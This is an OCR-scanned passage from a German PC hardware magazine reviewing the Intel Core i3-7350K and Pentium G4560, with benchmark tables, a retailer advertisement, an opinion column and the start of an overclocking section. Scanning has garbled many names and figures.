(359.06); Win 10 x64 Bemerkungen: Taktangabe mit „+” = Turbo vorhanden und aktiv. 


Prozent 
» Besser 


System: Intel Х99/79/7170/297/277, AMD 990FX/A88X, 8 GiB RAM pro Speicherkanal 
(Geschw. jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz 


(359.06); Win 10 x64 Bemerkungen: 


Prozent 
» Besser 


aktangabe mit „+“ = Turbo vorhanden und aktiv. 
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Spieleleistung Budget- vs. Mittelklasse-CPUs 


ntel Core i7-6700K 
ntel Core i7-4790K 
ntel Core i7-3770K 
ntel Core i5-7600K 


ntel Core i7-2600K 
ntel Core i5-4690K 
ntel Core i5-6600K 


Intel Core i5-6500 
ntel Core i5-3570K 
Core i3-7350K 


= 
D 


ntel Core i5-2500K 
Intel Core i3-6100 
Intel Pentium G4560 


Intel Pentium G4400 


Core 2 Quad Q6600 


ntel Core i7-6700K 
ntel Core i7-4790K 
ntel Core i7-3770K 
ntel Core i5-7600K 
ntel Core i5-6600K 
Intel Core i5-6500 
ntel Core i5-4690K 
ntel Core i7-2600K 
ntel Core i5-3570K 
el Core i3-7350K 
AMD FX-9590 
AMD FX-8370 
Intel Core i3-6100 
Intel Pentium G4560 
AMD FX-8300 
Intel Core i5-2500K 
AMD FX-6300 
Intel Pentium G4400 
AMD A10-7870K 
AMD A8-7600 
Core 2 Quad Q6600 


3 
а 


Intel Core i7-6700K 
Intel Core i7-4790K 
Intel Core i7-3770K 
Intel Core i5-7600K 
Intel Core i7-2600K 
Intel Core i5-6600K 


Intel Core i5-4690K 
Intel Core i5-6500 
Intel Core i3-7350K 


Intel Core i5-3570K 


Intel Core i3-6100 


Intel Pentium G4560 
Intel Core i5-2500K 


Intel Pentium G4400 
Core 2 Quad 06600 


4,0 G 
4,0 G 
3,5 G 
3,8 G 


34G 
3,5 G 
3,5 G 


3,2 G 
34G 
42G 


3,3G 


3,76 
3,56 


3,36 


2486 


(406 
406 
3,56 
3,86 
3,56 
3,26 
3,56 
346 
346 
(42G 


Crysis 3: „Fields” (720p, kein AA/AF/min. Post-Processing) 


Hz – 4/80) FE 136,7 (+362 %) 
Нг – 4c/8t) Ft 128,5 (+334 %) 
Hz — 4/80) BE 101,6 (+243 %) 

Hz-4d4t) Egg ew 101,5 (+243 %) 


AMD FX-9590 (4,7 GHz – 4m/8t) Egi 05,7 (+223 96) 


Hz – 4/80) Eng ШШШ 92,3 (+212 96) 
Hz-4d4t) Egi 90,1 (+204 %) 
Hz -4d4t) pm 89,2 (+201 %) 


AMD FX-8370 (4,0 GHz – 4m/8t) En 88,3 (4-198 96) 


Hz-4d4t) Eom 82,9 (+180 %) 
Hz- 4/40) egi 80,3 (-171 96) 
Hz – 2/40) Reg ШШ 77,8 (+163 96) 


AMD FX-8300 (3,3 GHz – 4m/8t) eie 73,7 (4149 %) 


Hz — 4/40) ES 70,7 (+139 %) 
Hz-2d4t) ES 69,5 (+135 96) 
Hz -2d4t) SA 65,5 (+121 96) 


AMD FX-6300 (3,5 GHz- 3m/6t) Es ШШ 64,7 (+119 96) 
AMD A10-7870K (3,9 GHz — 2m/4t) FEES 48,2 (+63 %) 


Hz — 2с/21) EBEN 43,8 (+48 96) 


AMD A8-7600 (3,1 GHz — 2m/4t) ВЕЗУ 43,0 (+45 96) 


Hz – 4d4t) ESSI 29,6 (Basis) 


AC Syndicate: „Bishopsgate” (720p, kein AA/AF/min. Post-Processing) 


Hz-4d8t) mail 120,1 (+318 %) 
Hz- 44890 Enos ШЕ 110,0 (+283 96) 
Hz-4d8t) mwa? ЕШ 100,2 (+249 %) 

Hz — 44 gai 99,7 (+247 9h) 

Hz — 4c/4t) Een ШШ 89,1 (+210 96) 

Hz -4d4t) ERR 87,2 (+204 %) 

Hz — 4c/4t) Ei 85,0 (+196 96) 

Hz -4d8t) pm E 84,9 (+196 %) 

Hz - 4/40) Et ЕЕ 82,1 (+186 90) 

Нг – 2/41) Es ШШ 81,4 (+184 90) 


4,7 GHz- 4m/8t) Fos 81,2 (+183 96) 
4,0 GHz – 4m/8t) Emm 76,8 (+168 %) 


(3,76 
(3,56 


EK EC 71,4 (+149 %) 
Hz – 2/40) orbe 70,9 (+147 %) 


3,3 GHz – 4m/8t) EE 70,9 (+147 %) 


(3,36 


Hz — 4c/4t) 70,2 (+145 %) 


3,5 GHz - 3m/6t) MES E 64,1 (+123 %) 


(3,36 


Hz — 2c/2t) Fe 50,4 (+76 %) 


3,9 GHz- 2m/4t) ЕО 47,6 (+66 %) 
3,1 GHz - 2m/4t) ВЗ 43,5 (+52 %) 


(2,486 


4,0 G 
4,0 G 
3,5 G 
3,8G 
34G 
3,5 G 


AMD FX-9590 (4,7 GHz – Am/ßt) 


3,5 G 
3,2 G 
4,2 G 


AMD FX-8370 (4,0 GHz — 4m/8t) 


34G 


AMD FX-8300 (3,3 GHz — 4m/8t) 


3G 
3,5 G 
3,3 G 


AMD FX-6300 (3,5 GHz — 3m/6t) 
AMD A10-7870K (3,9 GHz — 2m/4t) 
AMD A8-7600 (3,1 GHz — 2m/4t 


3,3 G 
2,46 


Hz — 4c/4t) ШШШ 28,7 (Basis) 


Witcher 3: „Hierarch Square” (720p, kein AA/AF/min. Post-Proc./Hairworks aus) 


Hz — 4/81) 
Hz — 4/81) 
Hz — 4/81) 
Hz – Ac/At) 
Hz — Ac/8t) 
Hz — Ac/At) 


НИИ 118,5 (+368 %) 
104,6 (+313 %) 
95,1 (+276 %) 
El 94,5 (+274 90) 
84,3 (+233 %) 
83,5 («230 %) 
ENS 1, (+220 %) 
179,9 (+216 %) 
78,9 (+212 %) 
a 78,2 (+209 %) 
76,6 (+203 %) 
EN 75,7 (+199 %) 
70,5 (+179 90) 
68,0 (4-169 96) 
ШИНЕ И 654 (+158 90) 
wass 63,2 (4150 %) 
Gw 0,5 (+139 %) 
ENIM 42,9 (+70 %) 

ESSI 38,8 (+53 %) 

ВИННИ 38,1 (+51 %) 

Papp 25,3 (Basis) 


Hz – 40/41) 
Hz – 4/41) 
Hz – 2/41) 


Hz – 4/41) 


Hz – 2/41) 


Hz – 2/41) 
Hz – 4/41) 


Hz – 2/21) 
Hz – 4/41) 


Ѕуѕїет: 


Капа! (Geschwindigkeit 
1.380/3.900 MHz (НО); Windows 10 х64. 


ntel Х99/79, 2170/297/277, AMD 990FX/A88X,8 GiByte RAM pro Speicher- 
jeweils laut maximaler CPU-Spezifikation), Geforce GTX 980 Ti @ 


Mimil 2 Fps 


» Besser 
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Von Mangel und Überfluss 
Beim Core i3-7350K gibt es keine 
Überaschungen und alles ist so, wie 
man es im Vergleich mit anderen 
i3-Modellen mit 4 MiByte L3-Cache 
erwarten würde. Obwohl laut Intel- 
Preisliste 24 US-Dollar günstiger 
als etwa Core i5-6500 und -7500, 
wildert er mit derzeit knapp 200 
Euro preislich bereits eindeutig in 
Quadcore-Regionen. Das macht ihn 
eigentlich unspannend, außer für 
Bastler. Letzere kommen übrigens 
im Tuning-Teil ab Seite 48 auf ihre 
Kosten. Sein hoher Takt von 4,2 GHz 
- ohne weitere Turbo-Erhöhung - 
macht ihn derzeit noch interessant, 
da mit ihm die Latenz sinkt und vie- 
le Befehle schnell abgearbeitet wer- 
den können, wovon alle Anwendun- 
gen und Spiele profitieren. Sind die 
letzteren beiden jedoch stark paral- 
lel programmiert, bringt ein mäßig 
hoch taktender Quadcore-Prozessor 
hier bereits Vorteile. 


Der Pentium G4560 ist da deutlich 
spezieller und aufgrund 
niedrigen Preises auch wesentlich 
spannender. Treue PCGH-Leser er- 
innern sich, dass unser Hauptkri- 
tikpunkt am Vorgängermodell Pen- 
tium G4400 dessen Beschränkung 
auf nur zwei Threads war. Daraus 
folgte, dass einige Spiele gar nicht 
mehr starten wollten - ein No-go 
für Spieler-PCs. Hier bieten die 
Pentium-CPUs der KBL-Generation 
Core-i3-Niveau: Zwei Kerne und 
Hyperthreading, welches dem Be- 
triebssystem zwei zusätzliche, vir- 
tuelle Kerne vorgaukelt und so die 
Auslastung der beiden physisch vor- 
handenen Rechenwerke verbessert. 
Damit gleicht der Pentium nun als 
Spiele-CPU nahezu dem Core i3 und 
erreicht pro MHz auch fast dessen 
Leistung - dank schnelleren DDR- 
2400-RAMs liegt er oft sogar vorn. 
Obacht: Die KBL-Celerons sind wei- 
terhin HTT-lose Zweikerner! 


seines 


In manchen Anwendungen unseres 
Parcours wie dem x264-Transco- 
ding sowie y-Cruncher allerdings 
kommt eine Einschränkung des 
Pentium zum Tragen: Im Gegensatz 
zu den vollwertigen Core-Modellen 
hat Intel beim Pentium den Sup- 
port für Befehlssatzerweiterungen 
„oberhalb“ von SSE4.2 deaktiviert. 
Konkret fehlen dem Pentium AVX, 
AVX2, FMA3, BMI, BMI2, ADX und 
F16C (Half-Precision). Zudem mel- 
det Coreinfo, dass TSX nicht ver- 


fügbar ist, auch wenn Intel dies 
dem Pentium G4560 in seiner Pro- 
duktdatenbank zugesteht - 
diesbezügliche Rückfrage blieb bis 
Redaktionsschluss ohne Klärung. 
Wie bei seinem Vorgänger und allen 
Core i3 (außer dem 7350K, siehe 
S. 48) ist manuelles Tuning nicht 
möglich, sieht man von unbedeu- 
tenden 2 bis 5 MHz Systemtakt so- 
wie DDR4-Overclocking ab, das mit 
entsprechenden Boards möglich ist. 


eine 


Integrierte Grafik 

Alle übrigen Kaby-Lake-Verbesse- 
rungen, wie erweiterte De-/En- 
code-Fähigkeiten und HDR-Video- 
Support sowie Netflix-4K-Eignung 
über PlayReady 3.0 SL3000, sind 
bei beiden CPUs an Bord. Die IGP 
des Pentium hört auf den Namen 
HD Graphics 610 und ist mit ihren 
12 Compute Units bei maximal 1,05 
GHz nur circa halb so schnell wie 
die HD 630 im i3-7350K - für mehr 
als anspruchsloseste oder sehr alte 
Spiele reicht die Leistung nicht 
aus. Im 3D Mark Firestrike messen 
wir 687/741 Gesamt- bzw. Grafik- 
punkte - die HD 630 kommt im 
15-7600K auf 1.141 und 1.237, AMDs 
A10-7870K erreicht 1.743/1.921. 


Leistungsschau 

Beginnen wir mit dem Core i3- 
7350K. Für die zu Redaktions- 
schluss aufgerufenen rund 200 
Euro ist die Leistung zu niedrig 
und man bezahlt, wie bei anderen 
K-Modellen auch, einen Teil des 
Preises für das Tuningpotenzial 
durch den freien Multiplikator. Bei 
4,2 GHz Werkstakt (3,9 GHz Ring/ 
LLC) jedoch zeigt sich in den stär- 
ker mehrkernoptimierten Spielen 
bereits, dass der Zweikerner es trotz 
Hyperthreading in kommenden 
Spielen schwer haben wird. Er ret- 
tet sein Gesamtergebnis nur durch 
das sehr gute Abschneiden in Far 
Cry 4 und im (nur halb so stark wie 
die restlichen Spiele gewichteten) 
Starcraft 2 - in fünf der Titel liegt er 
teils deutlich hinter dem Vierkerner 
Core 15-6500. Bereits dessen 200 
MHz hóher taktender Nachfolger 
15-7500 dürfte den i3-7350K wieder 
überholen. In den stárker mit der 
Kernzahl skalierenden Anwendun- 
gen hingegen ist der i5-6500 mit 
vier Kernen dem zweikernigen i3- 
7350K bereits jetzt überlegen. Beim 
Übertakten unserer Retail-CPU sind 
5 GHz möglich und resultieren in 
rund 15 Prozent mehr Leistung. 
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Anwendungsleistung: Core i3-7350K & Pentium G4560 im Vergleich 


Prozessormodell 3DM Fire Strike | Cinebench R15 7-Zip Lightroom 5.7.1 Blender 2.76 x264 MT y-Cruncher 

(Takt/Turbo — Kerne/Threads) | Physik (Punkte) (Punkte) (Sekunden) (Sekunden) (Sekunden) (Sekunden) (Sekunden) 
Core 15-7600К (3,8+ GHz - Ac/4t) 9.013 676 256 129 332 126 129,7 
AMD FX-9590 (4,7+ GHz — 4m/8t) 8.407 727 208 146 415 138 256,4 
Core i5-6600K (3,5+ GHz — Ac/4t) 8.106 611 281 139 360 139 141,8 
Core 15-6500 (3,2+ GHz — 4c/At) 7.433 560 293 149 391 151 152,8 
AMD FX-8300 (3,3+ GHz — 4m/8t) 6.638 530 237 177 560 183 326,8 
Core i3-7350K (4,2 GHz — 2c/4t) 7.238 462 332 196 417 191 194,6 
Core 13-6100 (3,7 GHz — 2/41) 6.425 405 384 230 473 216 220,7 
Pentium 64560 (3,5 GHz — 2c/4t) 6.022 382 391 235 510 250 621,7 
Pentium 64400 (3,3 GHz — 2c/2t) 3.837 276 643 243 785 313 777,6 

kk. H 

EE m 98,9 % 98,9 % 89,2 % 89,2 % 85,4% 81,1% 33,5 % 
IPC**: 64560 vs. 64400 (+ SMT) 147,7 % 129,5 % 167,6% 105,6 % 158,9 % 131,7 96 132,2 96 
*Sortiert nach Gesamt-Ranking im PCGH-Anwendungsindex, Kaby-Lake-Modelle mit DDR4-2400, Skylake mit DDR4-2133, AMD FX mit DDR3-1866 ** Für IPC-Vergleich allle drei CPUs mit 
DDR4-2133. Das Fehlen moderner Befehlssatzerweiterungen beim Pentium G4560 zeigt sich am stärksten beim Video-Transcoding und beim Mathematik-Tool y-Cruncher. 


Beim Pentium G4560 ist OC von 
vornherein quasi ausgeschlossen 
ist - einzig den Takt des DDR4- 
Speichers kónnen Sie auf passenden 
Z170-/Z270-Boards noch anheben. 
Mögliche zwei bis fünf Prozent 
höhere BCLK resultieren in maxi- 
mal 175 Extra-MHz. Bei unserem 
Testaufbau waren 102,68 MHz 
BCLK möglich. Die resultierenden 
3,594 GHz liegen immerhin denk- 
bar knapp unter den 3,6 GHz, wel- 
che sonst erst der mit rund 85 Euro 
25 Euro teurere Pentium G4600 bie- 
tet. Die 2,7 Prozent OC bringen im 
Cinebench R15 einen „Sprung“ von 
382 auf 390 Punkte (+2 %). 


Vom Tuningpotenzial abgesehen 
ist der Pentium G4560 für rund 60 
Euro eine echte Preis-Leistungs- 
Bombe. Zwar ist die absolute Perfor- 
mance im Leistungsindex nicht der 
Burner, aber die Spiele-Fps bewegen 
sich mit Ausnahme von Anno 2205 
durchweg im erträglichen Bereich 
von 30 und mehr. Assassin’s Creed 
Syndicate, Crysis 3, Dragon Age 
Inquisition, Far Cry 4 und The Wit- 
cher 3 laufen sogar durchschnittlich 
mit mehr als 60 Fps und auch die 
Minimum-Fps liegen mit Ausnahme 
von Crysis 3 über dieser Marke. Bei 
heftigen Multiplayer-Schlachten in 
Battlefield 1 etwa stößt der Penti- 
um, wie alle Dualcores (und viele 
Vierkerner), jedoch an seine Gren- 


TDP laut Hersteller** 60 Watt 54 Watt 
zen - bei einer 60-Euro-CPU eine Systemverbrauch Leerlauf abzüglich Grafikkarte 9 Watt 19 Watt 
unserer Meinung nach allerdings |Systemverbrauch (Anno 2205/Crysis 3/Witcher 3)** | 189/230/226 Watt 179/210/207 Watt 
verzeihliche Einschränkung. Systemverbrauch Spiele (Durchschnitt)* * 218 Watt 201 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |108 Watt 99 Watt 
Leistung (60 % der Endnote) 2,96 3,35 
Etwas kompliziert wird es allerdings ^ |spieleindex (60 % Gewichtung Leistungsnote) 65,5% 55,0% 
bei der Anwendungsperformance, |Anwendungsindex (40 % Gewichtung Leistungsn.) |34, 1% 26,9% 


denn dem Pentium fehlt als verblei- 
bendes Differenzierungsmerkmal 
zu den teureren Core-i3-Modellen 
auch der Support für moderne 


www.pcgameshardware.de 


Befehlssatzerweiterungen. Daher 
muss das Preis-Leistungs-Wunder 
auch in der Pro-MHz-Leistung (sie- 
he Tabelle oben) gegenüber dem 
Core i3 teils deutliche Einbußen 
in Kauf nehmen: Während Aller- 
weltsprogramme wie 3D Mark oder 
Cinebench so gut wie gar nicht 
reagieren (hier spielt der kleinere 
L3-Cache vielleicht die entscheiden- 
dere Rolle), sind es bei Lightroom 
oder 7-Zip knapp 11 Prozent Rück- 
stand. Lediglich in ultramodernen 
und -optimierten Programmen wie 


dem x264-Transcoder oder y-Crun- 
cher gibt es drastische Leistungsein- 
bußen von 20 bis über 66 Prozent. 
Ein kurzer Gegentest mit einer mo- 
derneren Beta-Version von Blender 
(2.78 VC14) zeigt ebenfalls, dass 
Core i3, i5 und auch der FX-8300 
hier mit 25 bis 34 Prozent niedri- 
geren Render-Zeiten wesentlich 
stärker profitieren, als es beim Pen- 
tium G4560 mit nur 2,5 % der Fall 
ist. Damit ist klar: Auch hier ist die 
Zukunftstauglichkeit des Budget- 
Champs eher beschränkt. (cs) 


Fazit Нагйшаге 


Günstige Intel-Prozessoren 

Dem sprichwörtlich geschenkten Gaul 
entspricht der Pentium G4560 trotz 
seines extrem niedrigen Preises zwar 
nicht, aber für 60 Euro kann man hier 
ein Auge im Vergleich zu Core-i3- 
Modellen zudrücken. Zukunftssicherer 
sind Vier- oder Sechskerner. Der i3- 
7350K hingegen ist mit aktuell rund 
200 Euro zu teuer, um ihn abseits von 
Bastler- oder Übertakterkreisen wirk- 
lich zu empfehlen. 


PREIS-LEISTUNGS-TIPP 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verháltnis 


Intel Core i3-7350K 
www.pcgh.de/preis/1557508 


Intel 
Pentium G4560 


Нагйшаге 


Intel Pentium 64560 
www.pcgh.de/preis/1558362 


Ca. 200 Euro/ausreichend 


Ca. 60 Euro/sehr gut 


Für Mainboards mit Sockel ... 


LGA 1151 


LGA 1151 


Codename 


Kaby Lake-S 


Kaby Lake-S 


Anzahl Kerne/Module, Uncore-/L3-Takt 


2 (4), ab Werk bis 3,9 GHz 


2 (4), ab Werk bis 3,2 GHz 


Basistakt (Turbo für alle und einen Kern) 


4,2 Ghz (kein Turbo) 


3,5 GHz (kein Turbo) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/32 KiByte 


32 KiByte/32 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


256 KiByte/4 MiByte 


256 KiByte/3 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


Unbekannt, 14 nm, unbekannt 
1,79 
HD Graphics 630 (bis zu 1,15 GHz) 


Unbekannt, 14 nm, unbekannt 
PAL) 
HD Graphics 610 (bis zu 1,05 GHz) 


Befehlssátze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3, TSX 


SSE bis 4.2, AES 


Integrierte PCI-Express-Lanes für Grafik 
Eigenschaften (20 % der Endnote) 
Offener Multiplikator* 


16x PCI-Express 3.0 
2,12 
a (bis 83) 


16x PCI-Express 3.0 
3,60 
Nein 


Übertaktung per Referenztakt?* 


a 


Stark eingeschránkt 


Speicherkanäle und max. Geschwindigkeit 


2x DDR4-2400/DDR3(L)-1600 (kein ECC) 


2x DDR4-2400/DDR3(L)-1600 (kein ECC) 


FAZIT 


© Schnellster Zweikerner bis dato, einfach übertaktbar 
© Durch hohen Takt nicht sonderlich effizient 


© Zu teuer im Vergleich zu Quadcores 


Wertung: 2,56 


© Preis-Leistungs-Tipp im unteren Budgetbereich 
© Sparsam, aber nicht hocheffizient 
@ So gut wie keine Tuningmóglichkeiten 


Wertung: 3,17 
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* Setzt Unterstützung durch das Mainboard voraus **Angabe dient nur der Information, gewertet wird die Effizienz über alle Spiele und Anwendungen. 
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Hardware 


PREDATOR 


Curved-LED-Monitor ° 81 cm (32") 
4 ms Reaktionszeit (GtG) 


TC 


TZ 


1.920x1.080 Pixel (Full HD) 
Kontrast: 3.000:1 (fest) 


Energieeffizienzklasse: A » Helligkeit: 300 cd/m? « HDMI, DisplayPort, Audio 
integrierte 4x USB 3.0-Hub und Lautsprecher 


V7LA06 


be j 


199, 


Big-Tower • Einbauschächte extern: 2x 5,25" 
Einbauschächte intern: 7x 3,5", 15x 2,5" 

inkl. drei Lüfter » Front: 2x USB 3.0, 2x USB 2.0 
Window-Kit » für Mainboard bis E-ATX-Bauform 


TOXV2024 


LED-Monitor • 61 cm (24") Bilddiagonale 
1.920x1.080 Pixel • 2 ms Reaktionszeit 
Kontrast: 5.000.000:1 (dynamisch) 
Helligkeit: 250 cd/m? • höhenverstellbar 
Pivot * Energieklasse: A 

HDMI, DVI-D (HDCP), VGA, Audio 


V5LI6E 


ZOTAC 


Grafikkarte « NVIDIA® GeForce° GTX 1070 
8 GB GDDR5-RAM • 1.920 Shadereinheiten 
DirectX 12 und OpenGL 4.5 

3x DisplayPort, 1x HDMI, 1x DVI 

PCle 3.0 x16 


JFXTOCOS 


Midi-Tower • LED-Beleuchtungssystem 
Einbauschächte intern: 2x 3,5", 4x 2,5" 

inkl. einem Lüfter » Front: 2x USB 3.0, 

2x USB 2.0, 2x Audio 

Window-Kit ° für Mainboard bis ATX-Bauform 


TOXRZO23 


BÄCORSAIR 


PC-Netzteil » 650 Watt Dauerleistung 

hohe Effizienz • 16x Laufwerksanschlüsse 

4x PCle-Stromanschlüsse • Kabelmanagement 
1x 135-mm-Lüfter • ATX 2.03, EPS, EPS12V 2.92, 
ATX12V 2.3, ATX12V 2.4 


TN6V6R02 


CPU-Wasserkühler • für Sockel FM1, FM2(+), 
АМ2(+), AM3(+), 775, 115x, 1366, 2011(-3) 
innovative Reverse-Flow-Pumpe 

2x 140-mm-Lüfter mit PWM-Anschluss 


HXLVBI 


| MONEY | 


SERVICE 


ALTERNATE 


CPU-Kühler ° für Sockel FM1, FM2(+), AM2(+), 
AM3(+), 115x, 2011(-3) 

Abmessungen: 150x165x135 mm 

12 Heatpipe-Verbindungen 

1x 140-mm-Lüfter mit PWM-Anschluss 


HXLU32 


EN24 TESTSIEGER | 
DEUTSCHER 
INTERNET 


Mainboard » ARM Cortex-A53 Quad-Core 
Prozessor « Broadcom BCM2837 Chipsatz 
Broadcom VideoCore IV Grafikchip 
microSD/microSDHC/microSDXC Kartenleser 
Bluetooth 4.1 • 40 GPIO-Pins, SPI, РС, UART 
unterstützt Linux-Betriebssysteme & Windows 10 


60000015 


SAMSUNG 


LED-Monitor ° 59,9 cm (23,6") Bilddiagonale 
1.920x1.080 Pixel » 5 ms Reaktionszeit 
Kontrast: 1.000:1• Helligkeit: 300 cd/m? 

Eco Power Off (0,00 Watt) » 1x DVI, 1x VGA 
höhenverstellbar, Pivot-, Swivel- und Tiltfunktion 


V5LU9B18 


GIGABYTE" 


Grafikkarte e NVIDIA® GeForce? GTX 1070 
8 GB GDDR5-RAM • 1.920 Shadereinheiten 
DirectX 12 und OpenGL 4.5 

Зх DisplayPort, HDMI, DVI • PCle 3.0 x16 


JFXY0C03 


POWER. INNOVATION. DESIGN. 


x | 


Bd 


Netzteil • 600 Watt Dauerleistung 

Effizienz bis zu 87% • 11x Laufwerksanschlüsse 
2x PCle-Stromanschlüsse • 1x 120-mm-Lüfter 
ATX 2.03, EPS, ATX12V 2.3 


Sockel-1151-Prozessor » Kaby Lake » 4 Kerne 
4,2 GHz Basistakt • 4,5 GHz max. Turbo 

8 MB Cache » HyperThreading 
Boxed-Version (ohne Kühler) 


HK7I15 


06403-905040 | info@alternate.de 


39,6 cm (15,6 Zoll) » 1.920 x 1.080 

Intel® Core” i7-7500U Prozessor (2,7 GHz) 

8 GB DDR4-RAM • 256 SSD, 1.000 GB HDD 
(5.400 U/Min.) • NVIDIA® GeForce® СТХ 950M 
4 GB RAM * USB 3.1 (Typ-C Gen. 1), USB 3.0, 
Bluetooth 4.0 « Windows? 10 Home 64-Bit (OEM) 


PLOCUU _ 


(Intenso) 


76; 


Solid-State-Drive • 3812440 

256 GB Kapazität « SATA 6Gb/s 

520 MB/s lesen • 400 MB/s schreiben 
2,5"-Bauform 


IMIMXBO2 


THRUSTMASTER 


Joystick 

innovative HallEffect AccuRate Technology 
(H.E.A.R.T) • 3D-Magnetsensoren (Hall Effect) 
am Stick * Spiraldruckfedersystem 


NJZT79 


Gaming Chair 

ergonomisches Design 

verstellbare 3D Armlehnen 

Aluminium-Drehkreuz 
NJZDW1 


Bestellhotline: Mo-Fr 8-19 Uhr, Sa 9-14 Uhr 06403 = 90 50 40 


Virtual-Reality-Brille « Auflösung: 2.160x1.200 
Bildwiederholungsrate: 90 Hz • inkl. zwei 
Controllern & zwei Lighthouse Basisstationen 
volle Unterstützung durch Steam VR 
Anschlüsse: USB 2.0, HDMI, Mini-DisplayPort 


Q#HH03 


ZOTAC 


Barebone 

Intel® Core™ i5-6300U Prozessor (2,4 GHz) 
Intel® HD Graphics 520 

2x Gigabit-LAN » WLAN • 2x DDR3L-RAM 
SATA 6Gb/s • Einbauschächte: 1x 2,5" 


S1IVI5 PL6CW9 


39,6 cm (15,6") e Acer ComfyView"" Full-HD IPS Display, matt (1.920 x 1.080) 
Intel® Core™ i7-7700HQ Prozessor (2,8 GHz) 
256 GB SSD, 1000 SATA (5.400 U/Min.) • NVIDIA® GeForce? GTX 1050 
USB 3.1 Typ-C (Gen 1), Bluetooth « Windows? 10 Home 64-Bit (OEM) 


16 GB DDRA-RAM 


MA Make It Yours. 


ozone 


optische Gaming-Maus ° 7.000 dpi 
6 frei belegbare Tasten » Scrollrad 
USB-Abfragerate wählbar 

DPI einstellbar max. 7.000 dpi 
RGB-LED-Beleuchtung 


Gaming-Tastatur « Windows-Sperrtaste 

MX Brown Schalter • weiße LED-Beleuchtung 
On-the-Fly Makroaufzeichnung 
USB-Anschluss 


NTZV2Z08 NMZH9D - 
Security Tech Germany es 
“| 
=j M 
ЭД k 


327 . 


zwei 53 mm Treiber » austauschbare Earpads 
200 cm Verlángerungskabel 

für PC, PS4, Xbox One und Mobiltelefone/ 
Tablets 


Komplettset mit Zentrale & App, Óffnungs- 
und Bewegungsmelder, Fernbedienung und 
Zubehör • Rundum-Sicherheit mit Backup 
Batterie zur Notstromversorgung 


шоо LHAB00 


Aharkoon 


32, 


optische Gaming-Maus ° 10.800 dpi 

12 programmierbare Tasten » 4-Wege-Scrollrad 
30 G ° 1.000 Hz Ultrapolling 

DPI-Stufen wählbar 

anpassbares Gewichtssystem: 6x 4 Gramm 


NMZS5V 


Farblaserdrucker 

bis zu 2.400x600 dpi Druckauflösung 
bis zu 18 Seiten/min Farbdruck 
Papieraufnahme bis zu 251 Blatt 
WLAN, USB 


WL#BNO 


ALTERNATE 


Abgabe nur in haushaltsüblichen Mengen und solange Vorrat reicht. Irrtümer und Druckfehler vorbehalten. 
Alle Preise in Euro inkl. MwSt. und zuzüglich Versandkosten. Angebote gültig bis zum 01.02.2017 


bequem online 
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Mit G.Skills Trident-Z-Kit FA-3600C16D-16GTZKW prüfen wir die Tauglichkeit der CPU 
für RAM-Overclocking. DDR4-3600 lässt sich via XMP sehr leicht erreichen. 


Wie bei Skylake stellt Wärmeleitpaste 
den Kontakt zwischen Die und Heat- 
spreader sicher. Um diese gegen eine 

leistungsfähigeres Wärmeleitmittel zu 

tauschen, müssen Sie die Schutzkappe 
entfernen. Mit dem Delid- 
Die-Mate 2 ist ab dem 
22. Februar ein dafür 
geeignetes Werkzeug 

für 30 Euro erhältlich. 


Bild: der8auer 


Core i3-7350K: Der richtige 
Prozessor zum falschen Preis 


Eigentlich ist der Core i3-7350K für Übertakter ein 
gelungener Prozessor: Er ist schnell genug für aktuelle 
Spiele, stellt geringe Ansprüche an die Energiever- 
sorgung und Kühlung des Systems und lässt sich 
kinderleicht übertakten — genau das Richtige für 
Gelegenheitsspieler, Overclocking-Einsteiger oder den 
Zweitrechner, wenn es nicht vier Kerne sein müssen. 
Doch der Blick in den Preisvergleich macht mich ratlos, 
denn dort wird der Chip für knapp 200 Euro geführt. 
Für diesen Betrag gibt es schon ordentliche Vierkerner 


Stephan Wilke 


wie den 15-6500 oder i5-7400, deren doppelte Kernanzahl sich selbst durch 
starkes Übertakten des i3-7350K kaum kompensieren lässt. Für 240 Euro lockt 
mit dem i5-6600K schon ein vollwertiger Quadcore mit freiem Multiplikator, den 
Gebrauchtmarkt mit günstigen K-Quadcores klammere ich mal bewusst aus. Dem 
Pentium G3258 AE von 2014 fehlt zwar SMT, sodass einige Spiele gar nicht mehr 
starten, aber die für ihn fälligen 60 Euro sind zumindest keine große Investition. 
Da hält sich der mögliche Schaden für zu wild agierende Neulinge in Grenzen. 


Lange Rede, kurzer Sinn: Sollte der i3-7350K nicht deutlich im Preis fallen — 150 
Euro wären okay — bleibt es leider dabei, dass Übertakter von Intel im Einstei- 
ger-Segment und der unteren Mittelklasse nicht viel zu erwarten haben. Doch es 
gibt Grund zur Hoffnung: AMD bekräftigte auf der CES, dass alle Ryzen-Modelle 
über einen offenen Multiplikator verfügen. Lobeshymnen wären verfrüht, doch für 
CPU-Overclocker mit kleinem Geldbeutel kann es eigentlich nur besser werden. 
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Kaby Lake: Overclocking 


aby Lake setzt die Tradition 

des einfachen Übertaktens 
fort, gute Ergebnisse lassen sich 
mit wenigen Handgriffen erzielen. 
Zwar bieten die meisten Z170-/ 
Z270-Platinen sehr viele OC-Optio- 
nen, doch im Alltag reicht es aus, an 
der Kernspannung zu schrauben 
und den CPU-Multiplikator anzuhe- 
ben. Bei Bedarf lässt sich auch noch 
der Cache-Takt via Multiplikator er- 
höhen, die dadurch erzielten Leis- 
tungsgewinne sind aber verhältnis- 
mäßig gering. 


Für unsere Tuning-Tests greifen 
wir auf eine Wasserkühlung mit 
einem leistungsfähigen Triple-Ra- 
diator zurück. Dazu nutzen wir das 
Asus Maximus УШ Extreme, um 
uns davon zu überzeugen, dass sich 
Kaby Lake auch mit einer älteren 
Z170-Platine ohne Einschränkun- 
gen übertakten lässt. Im UEFI-Me- 
nü finden wir dementsprechend 
auch die für die Mittelklasse neue 
Funktion „AVX Instruction Core 
Ratio Negative Offset“. Wie bei 
Broadwell-E können Sie dadurch 
festlegen, um wieviele Multiplika- 
torschritte der Prozessor bei der 
Ausführung von AVX(2)-Instruk- 
tionen gebremst werden soll. Auf 
diese Weise können Sie im Alltag 
einen höheren Kerntakt nutzen 
ohne einen Crash bei einer an- 
